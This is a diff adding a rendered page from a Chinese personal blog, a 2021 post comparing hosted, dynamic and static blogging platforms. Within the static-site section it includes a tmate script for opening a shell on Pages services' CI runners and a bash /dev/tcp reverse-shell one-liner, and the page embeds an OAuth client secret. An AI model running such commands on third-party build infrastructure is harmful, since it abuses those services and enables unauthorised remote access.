<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/08/06/pcb.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

402
2021/08/15/blog.html Normal file
View File

@@ -0,0 +1,402 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>如何选择合适的博客平台 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="如何选择合适的博客平台" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="记录,也有很多种方式。" />
<meta property="og:description" content="记录,也有很多种方式。" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-08-15T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="如何选择合适的博客平台" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-08-15T00:00:00+08:00","datePublished":"2021-08-15T00:00:00+08:00","description":"记录,也有很多种方式。","headline":"如何选择合适的博客平台","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/08/15/blog.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/08/15/blog.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/08/15/blog.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-08-15T00:00:00+08:00">15 August 2021</time> - 字数统计5439 - 阅读大约需要16分钟 - Hits: <span id="/2021/08/15/blog.html" class="visitors">Loading...</span></small>
<h1 class="p-name">如何选择合适的博客平台</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sun, 15 Aug 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章分析了如何选择合适的博客平台按平台托管、动态网站和静态网站三种类型展开讨论。平台托管适合不想自建平台且接受审查的用户如博客园和微信公众平台动态网站虽然自由度高但成本较高适合有一定技术能力希望自定义功能的人如WordPress静态网站包括纯静态、静态网页生成和前后端分离等形式优点是SEO友好且节省资源常用pages服务如Github Pages、Gitlab Pages、Vercel等。文章还强调了平台的局限性和安全性问题指出前端服务尽管便利但有滥用风险。作者个人偏好Github Pages因其多仓库部署的灵活性。总之选择博客平台需考虑作者技能、成本、自由度、安全性以及访问需求。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#不同博客的特点">不同博客的特点</a><ul><li><a href="#1平台托管">1、平台托管</a><ul><li><a href="#平台托管的网站示例">平台托管的网站示例</a></li></ul></li><li><a href="#2动态网站">2、动态网站</a></li><li><a href="#3静态网站">3、静态网站</a><ul><li><a href="#我的pages服务示例">我的Pages服务示例</a></li></ul></li></ul></li><li><a href="#可能是未来的博客类型">可能是未来的博客类型</a></li><li><a href="#未来的计划">未来的计划</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>记录,也有很多种方式。<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>我建立这个博客也有3年左右的时间了为什么现在会想写这样的文章呢主要是现在各种各样神奇的服务和概念出现不得不让我仔细分析其中的奥秘而且在这几年我也有了一定的成长也发现了很多有趣的东西另外最主要的是我想实现Mayx Forever计划所以研究一下不同平台之间的差别。</p>
<h1 id="不同博客的特点">
<a href="#不同博客的特点"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 不同博客的特点
</h1>
<p>作为博客,它的本质也不过是一个用来记录和展示自己写的文章的程序。另外从作者来说,一般也分为平台托管、动态网站和静态网站三种。所以今天我就从这三点来分析一下。</p>
<h2 id="1平台托管">
<a href="#1平台托管"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 1、平台托管
</h2>
<p>平台托管即没有程序的所有权仅有平台提供功能的使用权。这也就是说数据库、处理程序和界面通常都是由平台提供博主几乎没有修改它们的权力这也说明博主在这里几乎除了写文章之外什么也做不了。不过有些博客平台会提供界面的修改权一种是仅能从有限的模板中选择另外一种就是允许博主自己写CSS和JS来操作界面这种自由性更高不过因为这样通常比较危险大多数博客平台是不提供这种功能的。 </p><p>
这种博客对不太懂计算机或者只想写文章的人比较友好基本上只需要注册账号平台就允许你写文章并发布了而且一般都有自带的评论系统良好的文章编辑器大多数都免费相对还是很友好的。比较常见的有Blogspot(Google Blogger)、WordPress.com、FC2、博客园、QQ空间、微信公众平台、Bilibili专栏、CSDN等等。从自由度来说在这些平台中有些是允许自定义域名的这种算是比较良心的平台另外也有花钱就能自定义域名的可惜中国的平台均不支持自定义域名另外国内的平台均有非常严格的审查平台可以随意的处置你的文章不过国外的好多博客平台都被中国防火长城拦截了没办法用。当然也不是说国外的博客没有审查大多数情况只要你不写对恐怖分子可能造成帮助的、带有儿童色情的、或者违反DMCA的基本上平台都是不会管的。 </p><p>
所以从此来看,如果是懒得自己搭平台、不会搭、不想花钱、又希望国内的用户可以看到,还觉得自己写的文章能接受国内的审查,我个人建议使用博客园,博客园允许博主修改界面,相对来说比较自由一些。不过之前博客园炸过一次,我现在不是很相信他们了。所以如果想保留的更久一些,可能微信公众平台会更好一些,毕竟微信也算中国的国民级应用,一般来说很难倒闭。 </p><p>
如果不能接受审查又希望能在中国访问这个难度就比较大WordPress.com这个可以碰碰运气但是它有广告不太推荐。不过基本上是做不到毕竟国内平台必有审查国外平台没有审查大多数情况都会有国内不能接受的东西然后就会被Ban。所以平台也就是有这个缺陷它的限制比较多。 </p><p>
如果不考虑国内访问的话我觉得Blogspot是最好的选择同样可以自定义界面另外Google作为网络巨头来说也很难倒闭所以如果追求稳定的话我觉得选择Blogspot是很不错的。</p>
<h3 id="平台托管的网站示例">
<a href="#平台托管的网站示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 平台托管的网站示例
</h3>
<p>我之所以写这篇文章也是因为试着用了好多平台,以下都是我注册的博客,如果有必要的话说不定我也会用它们:</p><p>
<a href="https://unmayx.blogspot.com/">https://unmayx.blogspot.com/</a></p><p>
<a href="https://unmayx.blog.fc2blog.us/">https://unmayx.blog.fc2blog.us/</a></p><p>
<a href="https://unmayx.wordpress.com/">https://unmayx.wordpress.com/</a></p><p>
<a href="https://mayx.cnblogs.com/">https://mayx.cnblogs.com/</a></p>
<h2 id="2动态网站">
<a href="#2动态网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 2、动态网站
</h2>
<p>动态网站即界面是由程序根据数据库的内容实时生成,而且通常有一定交互性的网站。一般这种的博客都是脱离了平台的,所以这种算是独立博客了(静态博客也是)。这种博客一般数据库、程序和界面博主都有完全的所有权,所以自由度更大,而且因为程序在手中,所以想加功能也是非常简单的,比如加一个讨论或者爬虫的功能一般只需要安装插件就可以完成。又因为数据库也在手中,所以也不需要担心文章被删除的问题。既然这么好那么问题在哪里呢?那就是一般要花钱。建立动态网站通常需要服务器和域名,目前大多数的服务器和域名都不是免费的,所以动态博客有成本,在三种方案里是最贵的。 </p><p>
不过平台托管其实也是动态网站,为什么它就可以免费呢?其实原因很简单,首先是边缘成本的问题,租一台服务器是很贵,但是如果十个人共用这一台服务器就会便宜很多,又因为平台托管下的文章实际上是属于平台的,所以其实这波平台得到的更多,毕竟只需要租几台服务器,搭一个平台就能获得一大堆免费的劳动力在自己的平台上写文章。要知道杂志收录文章都是要花钱的,博客平台就光提供了个平台就把广告费、推广费啥的赚上了。 </p><p>
所以从这一点来看的话,为了保证自己文章的安全,自己搭博客更好,假如做的好,自己打广告钱也都是进的自己的口袋,这有点像小商店和电商的感觉了。不过大多数人写博客也不是为了赚钱,像我也不是为了赚钱写博客,到现在我写了几十篇文章也没人给我打赏😂。 </p><p>
目前来看大多数的博客引擎都是PHP或者Node.js写的因为它们的性能很好而且扩展性很强。像全世界最流行的博客引擎<a href="https://github.com/WordPress/WordPress">WordPress</a>就是PHP编写的。这里的WordPress和上面的WordPress.com平台不一样这里的WordPress是开源软件可以自己使用的一个引擎。像新手用WordPress就是一个很好的选择它的功能很强大操作起来也很简单除了第一次部署PHP环境可能比较麻烦剩下的写文章、换模板、装插件全部都可以在网页中直接操作非常方便。另外也有很多PHP环境的虚拟空间如果自己不想租服务器也可以直接租虚拟空间这样也会更加便宜操作也更简单。实际上也有些免费的PHP虚拟空间不过现在是越来越少了我用的几个都要消失不见了。Node.js的话倒是由于最近比较火免费的还挺多比如Glitch.me和CloudFlare Workers另外Workers准确来说其实是云函数算在Serverless里。另外我个人非常不赞同使用编译型语言写的博客引擎比如Golang写的这种的博客可扩展性非常差而且性能怎么样也比不上静态网站毕竟就算不考虑处理速度Golang写的博客引擎能比C写的Nginx性能强 </p><p>
不过自己建动态网站也有个缺陷就是性能会比较差如果直接用服务器的话被攻击基本上都是直接宕机除非用防火墙国外免费的防火墙CloudFlare因为审查的原因速度又太慢了国内的话防火墙又太贵了。另外虽然建独立博客没有审查但是在国内的网站都需要备案如果有比较敏感的内容还是会被撤销备案而且服务器也有可能会被封除此之外个人备案还有一个很糟糕的地方就是不允许使用带有交互性的功能比如说评论之类的这就导致在国内的实际体验可能还不如平台托管的好。</p>
<h2 id="3静态网站">
<a href="#3静态网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 3、静态网站
</h2>
<p>静态网站一般也分为几种第一种叫纯静态网站即写的网站程序是纯静态的如果写博客可能是由JS用AJAX来调用Markdown文件渲染的形式这种一般会用SPA的形式比较经典的例如<a href="https://github.com/Dynalon/mdwiki">MDwiki</a>可惜不更新了这种的比较复杂一般只有前端大佬会用另外这种的SEO效果会比较差。第二种叫静态网页生成这种和纯前端的区别在于它写的文件并不能直接发布而是用一些生成器调用模板来生成可以发布的网页。这种的好处就是在上一种的基础上提高了SEO的效果降低了网站的开发难度也降低了对客户端性能的消耗。我目前的博客就是使用这种方案用的生成器叫做<a href="https://github.com/jekyll/jekyll">Jekyll</a>除了Jekyll之外还有比如<a href="https://github.com/hexojs/hexo">Hexo</a><a href="https://github.com/gohugoio/hugo">Hugo</a>等等。第三种则是相对增强的,即前后端分离类型,把一些前端实在无法完成的任务交给后端来做。这里的后端可以是任何语言写的,比如我以前写的<a href="/2019/06/22/counter.html">博客计数器</a>也不限运行的方式比如Serverless也可以。 </p><p>
由于近期前端很火所以最近各种Pages服务就冒了出来因为纯前端页面几乎不耗费服务器资源所以很多公司都愿意免费提供这种服务。然后现在CI/CD也很火结果就有很多Pages服务就把这些东西全绑上形成了一套很完整的系统。比如说各种模仿Github Pages的Gitlab Pages、Gitee Pages还有Vercel、Cloudflare Pages等等可以说是百花齐放了。当然如果不想用这些服务用自己的服务器上面架静态网站也没有问题。我当时用Github Pages做博客的时候还没有这些服务呢当然我现在也不打算换就是了。 </p><p>
目前来看除了Github Pages是只支持Jekyll不支持执行其他网页生成器之外其他的服务都支持完整的CI/CD。不过Github有Actions真想搞也不是不行就是有点麻烦像我以前做的<a href="/pixiv-index/">Pixiv索引</a>就是基于Github的Actions+Pages服务做的。不过当时我做博客的时候也没有Actions来着😂我当时做<a href="/MayxDaily/">Mayx的日报</a>的时候就用的是第三方的Travis-CI服务。 </p><p>
不过既然有CI/CD那就有滥用的风险我以前试过用<a href="https://github.com/tmate-io/tmate">tmate</a>连接过那些Pages服务的CI/CD具体的话大家可以用以下脚本连接</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># Generate ssh key if needed</span>
<span class="nb">mkdir</span> ~/.ssh
<span class="o">[</span> <span class="nt">-e</span> ~/.ssh/id_rsa <span class="o">]</span> <span class="o">||</span> ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-f</span> ~/.ssh/id_rsa <span class="nt">-q</span> <span class="nt">-N</span> <span class="s2">""</span>
<span class="c"># Run deamonized tmate</span>
<span class="nb">echo </span>Running tmate...
<span class="nb">chmod </span>777 ./tmate
./tmate <span class="nt">-S</span> /tmp/tmate.sock new-session <span class="nt">-d</span>
./tmate <span class="nt">-S</span> /tmp/tmate.sock <span class="nb">wait </span>tmate-ready
<span class="c"># Print connection info</span>
<span class="nb">echo </span>________________________________________________________________________________
<span class="nb">echo
echo </span>To connect to this session copy-n-paste the following into a terminal:
./tmate <span class="nt">-S</span> /tmp/tmate.sock display <span class="nt">-p</span> <span class="s1">'#{tmate_ssh}'</span>
<span class="k">while</span> <span class="o">[</span> <span class="nt">-S</span> /tmp/tmate.sock <span class="o">]</span>
<span class="k">do
</span><span class="nb">sleep </span>1
<span class="k">done</span>
</code></pre></div></div>
<p>这个方法是手头没服务器的用不过不得不说tmate还挺好用的。有服务器的话建议用<code class="language-plaintext highlighter-rouge">bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</code>一键反弹然后用python的pty库升级成正常的shell就行了。 </p><p>
我大概看了一下Vercel的部署服务器性能貌似是最好的Cloudflare Pages和Github Actions的配置一样有可能都是用的Azure云虽然有滥用的风险但是不鼓励大家去滥用。像之前我就有看新闻说有些人用Github Actions挖矿虽然这些服务确实让很多前端开发者享受到了便利但是被滥用还是挺糟糕的。 </p><p>
不过今天讲的是建博客有点跑题了😂。不过也正是那些限制很少的CI/CD可以让我们很方便的去部署我们的静态网站无论用npm打包js还是自动爬取页面缓存或者正常点用Hexo生成博客都只需要我们直接配置好就可以直接使用了。 </p><p>
既然其他Pages服务那么好我为什么还在用Github Pages呢这是因为Github可以部署很多仓库到网站。其他的Pages服务部署都是各自是各自的域名但是Github Pages就能直接在同域名下访问其他我开了Pages服务的仓库。 </p><p>
不过静态网站虽然优点很明显节省服务器资源但是问题就是在于它不太适合小白虽然说现在部署一个博客也很简单去Github上面Fork一个自己喜欢的模板然后再选择自己喜欢的Pages服务提供商配置一下就好了但是首先Github对小白操作也不那么容易搜模板不能像WordPress那样可以预览能不能用全看作者怎么写的另外写文章也没办法做到所见即所得毕竟Markdown语法虽然很简单但是还是需要记的不能点一下就OK然后就是各种功能的实现也很复杂像我博客上的<a href="/2021/07/23/search.html">搜索</a><a href="/2019/06/22/counter.html">计数器</a><a href="/2019/06/11/encrypt.html">加密</a><a href="/2018/10/20/talk.html">评论</a>实现起来都很不容易不像动态网站那样直接CRUD一把梭这些用动态网站实现起来就简单很多。 </p><p>
如果说大家想建一个可以在国内方便访问的静态博客我个人建议用Gitee的稳定性还不错。国外的话可能Cloudflare Pages更好一些主要是我比较喜欢那个域名就是部署的速度有点太慢了访问速度还是挺不错的。</p>
<h3 id="我的pages服务示例">
<a href="#我的pages服务示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 我的Pages服务示例
</h3>
<p><a href="https://mayx.pages.dev/">https://mayx.pages.dev/</a></p><p>
<a href="https://mayx.vercel.app/">https://mayx.vercel.app/</a></p><p>
<a href="https://mabbs.github.io/">https://mabbs.github.io/</a></p>
<h1 id="可能是未来的博客类型">
<a href="#可能是未来的博客类型"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 可能是未来的博客类型
</h1>
<p>无论是哪家服务都有消失的可能性多大的公司也可能会因为微小的概率而倒闭。所以以后有可能会出现一种不一样的博客平台它可能是在IPFS上面的前段时间我<a href="/2021/06/10/distributed.html">研究去中心化的分布式系统</a>的时候也提到,到了未来说不定可以实现一个大家共同维护的系统。之前我有看见一个很有意思的项目<a href="https://github.com/NaturalSelectionLabs/RSS3">RSS3</a>这是一个可以在区块链上面开博客的协议看起来还是挺有意思的如果真的能实现也许我就能完成我的Mayx Forever计划了呢😁。</p>
<h1 id="未来的计划">
<a href="#未来的计划"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 未来的计划
</h1>
<p>我之后可能会想个办法把我的博客发布到上面我提到的所有平台,这样说不定只要人类文明还存在,我的博客就还存在吧😂。看看<a href="https://archiveprogram.github.com/">GitHub Archive Program</a>和Mayx Forever Project哪个能存活的时间更长😁。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%8D%9A%E5%AE%A2"><em>博客</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-08-15-blog.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/08/15/blog.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/08/06/pcb.html">
上一篇:最近打电路板的体验
</a>
</span>
<br />
<span class="next">
<a href="/2021/09/06/offlinectf.html">
下一篇:记一次线下的信息安全比赛
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/08/15/blog', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/08/15/blog.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
